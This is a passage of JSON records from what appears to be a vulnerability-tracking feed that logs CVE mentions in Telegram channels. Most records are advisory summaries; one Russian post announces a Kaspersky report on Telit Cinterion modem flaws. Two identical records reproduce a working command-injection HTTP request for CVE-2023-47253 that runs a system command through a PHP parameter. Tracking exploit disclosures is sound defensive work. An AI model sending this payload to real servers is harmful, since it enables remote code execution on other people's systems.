"4b44ab41-f44f-4ce7-9325-2e83143305d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47613", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "6829b1e4-2f9f-4628-89fb-020836f6b3b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47610", "type": "seen", "source": "https://t.me/sycebrex/54", "content": "\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f, \u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c\u043a\u0430\n\n\u0427\u0443\u044e, \u0447\u0442\u043e \u0441\u043a\u043e\u0440\u043e \u0433\u0440\u043e\u043c\u044b\u0445\u043d\u0435\u043c \u043d\u043e\u0432\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e \u0441\u0443\u043f\u0435\u0440 \u043a\u0440\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0439, \u043d\u043e \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u044c\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0435\u0441\u0442\u044c \u0412\u041e\u041e\u041e\u0411\u0429\u0415 \u0432\u0435\u0437\u0434\u0435 :)  \u0435\u0441\u043b\u0438 \u0447\u0435\u0441\u0442\u043d\u043e, \u044f \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043c\u043e\u0433\u0443 \u043e\u0441\u043e\u0437\u043d\u0430\u0442\u044c \u0432\u0441\u0435\u0445 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043e\u0432 \nCVE-2023-47610 \ud83d\ude18\n\n\u042f\u0449\u0438\u043a \u041f\u0430\u043d\u0434\u043e\u0440\u044b, \u0413\u0435\u0439\u043c \u0427\u0435\u0439\u043d\u0434\u0436\u0435\u0440, \u043e \u043c\u0430\u0439 \u0433\u0430\u0434 \u0445\u043e\u043b\u043b\u0438 \u0444\u0430\u043a\u0438\u043d \u0449\u0438\u0442 - \u044d\u0442\u043e \u0432\u0441\u0435 \u043f\u0440\u043e \u043d\u0430\u0431\u043e\u0440 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u0430\u0446\u0430\u043d\u044b \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443. \u041c\u043e\u0451 \u0433\u043b\u0443\u0431\u043e\u0447\u0430\u0439\u0448\u0435\u0435 \u043f\u043e\u0447\u0442\u0435\u043d\u0438\u0435", "creation_timestamp": "2024-02-01T17:17:00.000000Z"}, {"uuid": "68158a20-acec-42a2-baee-2cab8db1ccf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/18932", "content": "CVE-2023-47253\n\nGET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system(\"dir\"); HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\n\ndir\n\n#exploit #poc", "creation_timestamp": "2024-09-26T11:12:42.000000Z"}, {"uuid": "b9b51e91-23d8-4187-b2a6-42680e07442f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/2079", "content": "CVE-2023-47253\n\nGET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system(\"dir\"); HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\n\ndir\n\n#exploit #poc", "creation_timestamp": "2024-09-26T11:12:42.000000Z"}, {"uuid": "b7142311-37b1-4c91-ae2d-0aba9313e89c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4781", "type": "seen", "source": "https://t.me/cibsecurity/69894", "content": "\u203c CVE-2023-4781 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1873.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-05T22:17:04.000000Z"}, {"uuid": "ca05dcc7-5a41-4c5f-8893-ae8bd3e04689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47094", "type": "seen", "source": "https://t.me/cibsecurity/73298", "content": "\u203c CVE-2023-47094 \u203c\n\nAn issue was discovered in Virtualmin 7.7. A Stored Cross-Site Scripting (XSS) vulnerability was discovered in the Account Plans tab of System Settings via the Plan Name field. Whenever the module is accessed, the XSS payload is executed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-12-31T22:31:50.000000Z"}, {"uuid": "58d96f41-99f3-4967-91c2-6eb7eaef0261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4750", "type": "seen", "source": "https://t.me/cibsecurity/69798", "content": "\u203c CVE-2023-4750 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.1857.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:16.000000Z"}, {"uuid": "4bcbaa7e-72ff-41e4-8b51-7c08f0404a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47104", "type": "seen", "source": "https://t.me/cibsecurity/73167", "content": "\u203c CVE-2023-47104 \u203c\n\ntinyfiledialogs (aka tiny file dialogs) before 3.15.0 allows shell metacharacters (such as a backquote or a dollar sign) in titles, messages, and other input data. NOTE: this issue exists because of an incomplete fix for CVE-2020-36767, which only considered single and double quote characters.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-30T21:19:46.000000Z"}, {"uuid": "ec17d338-4094-4956-9012-8e1bc1c9b4a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "Telegram/NwoXsEh4kcV0wnSAz7YUW4VVZW4vQOW91Umbe0FSzr6NFKp_", "content": "", "creation_timestamp": "2024-06-19T19:34:23.000000Z"}, {"uuid": "07c9b97d-cbcd-4fd0-8d3f-2d6f73056871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47868", "type": "seen", "source": "Telegram/okYOwuiDYsG4ROjeINBdt_HvSpfDYESsfc7HRbuafUCm9Asc", "content": "", "creation_timestamp": "2025-02-14T09:46:58.000000Z"}, {"uuid": "b592ba28-034f-4f41-8433-051db4b34fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47489", "type": "seen", "source": "Telegram/VrgyMlGVzklLMY6blP87zO_hcnRVnCFEu3EMlsdTgO8toD2Z", "content": "", "creation_timestamp": "2023-11-12T14:52:36.000000Z"}, {"uuid": "e798857b-f675-43f4-a123-e9c682fda944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/eH0V46KzWPpUAwyr8C85bUvTczEBeTLSM5TTlo4xnPDhGdc", "content": "", "creation_timestamp": "2024-06-01T09:55:00.000000Z"}, {"uuid": "1d16960a-9b74-4da3-80b6-0cfed7b70f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47471", "type": "seen", "source": "https://t.me/arpsyndicate/4549", "content": "#ExploitObserverAlert\n\nCVE-2023-47471\n\nDESCRIPTION: Exploit Observer has 9 entries in 3 file formats related to CVE-2023-47471. Buffer Overflow vulnerability in strukturag libde265 v1.10.12 allows a local attacker to cause a denial of service via the slice_segment_header function in the slice.cc component.\n\nFIRST-EPSS: 0.000520000\nNVD-IS: 3.6\nNVD-ES: 2.8\nARPS-EXPLOITABILITY: 0.5917607", "creation_timestamp": "2024-04-12T07:10:27.000000Z"}, {"uuid": "9ea7d20e-a68a-4cb1-ba7d-7f1d606f3cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47542", "type": "seen", "source": "https://t.me/arpsyndicate/4509", "content": "#ExploitObserverAlert\n\nCVE-2023-47542\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-47542. A improper neutralization of special elements used in a template engine [CWE-1336] in FortiManager versions 7.4.1 and below, versions 7.2.4 and below, and 7.0.10 and below allows attacker to execute unauthorized code or commands via specially crafted templates.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T10:53:56.000000Z"}, {"uuid": "776c4976-2fee-4282-bf0a-084ff0f18547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47465", "type": "seen", "source": "https://t.me/arpsyndicate/4599", "content": "#ExploitObserverAlert\n\nCVE-2023-47465\n\nDESCRIPTION: Exploit Observer has 8 entries in 3 file formats related to CVE-2023-47465. An issue in GPAC v.2.2.1 and before allows a local attacker to cause a denial of service (DoS) via the ctts_box_read function of file src/isomedia/box_code_base.c.\n\nFIRST-EPSS: 0.000420000\nNVD-IS: 3.6\nNVD-ES: 1.8\nARPS-EXPLOITABILITY: 0.5935014", "creation_timestamp": "2024-04-12T11:08:22.000000Z"}, {"uuid": "096062a3-3b88-4f2e-a3ad-769038cd0209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47541", "type": "seen", "source": "https://t.me/arpsyndicate/4501", "content": "#ExploitObserverAlert\n\nCVE-2023-47541\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-47541. An improper limitation of a pathname to a restricted directory ('path traversal') in Fortinet FortiSandbox version 4.4.0 through 4.4.2 and 4.2.0 through 4.2.6 and 4.0.0 through 4.0.5 and 3.2.0 through 3.2.4 and 3.1.0 through 3.1.5 and 3.0.0 through 3.0.7 and 2.5.0 through 2.5.2 and 2.4.0 through 2.4.1 and 2.3.0 through 2.3.3 and 2.2.0 through 2.2.2 and 2.1.0 through 2.1.3 and 2.0.0 through 2.0.3 allows attacker to execute unauthorized code or commands via CLI.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T10:12:02.000000Z"}, {"uuid": "1f025e41-c74a-4c88-9563-77a34f2a2042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://t.me/arpsyndicate/4191", "content": "#ExploitObserverAlert\n\nCVE-2023-47534\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2023-47534. A improper neutralization of formula elements in a csv file in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, 7.0.0 through 7.0.10, 6.4.0 through 6.4.9, 6.2.0 through 6.2.9, 6.0.0 through 6.0.8 allows attacker to execute unauthorized code or commands via specially crafted packets.", "creation_timestamp": "2024-03-13T21:52:26.000000Z"}, {"uuid": "5d47e065-4556-4860-baf7-36079f48640d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47540", "type": "seen", "source": "https://t.me/arpsyndicate/4439", "content": "#ExploitObserverAlert\n\nCVE-2023-47540\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-47540. An improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiSandbox version 4.4.0 through 4.4.2 and 4.2.0 through 4.2.6 and 4.0.0 through 4.0.5 and 3.2.0 through 3.2.4 and 3.0.5 through 3.0.7 may allows attacker to execute unauthorized code or commands via CLI.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T05:16:51.000000Z"}, {"uuid": "912186c2-9ec1-4311-81e6-ea51ecfaab37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47020", "type": "seen", "source": 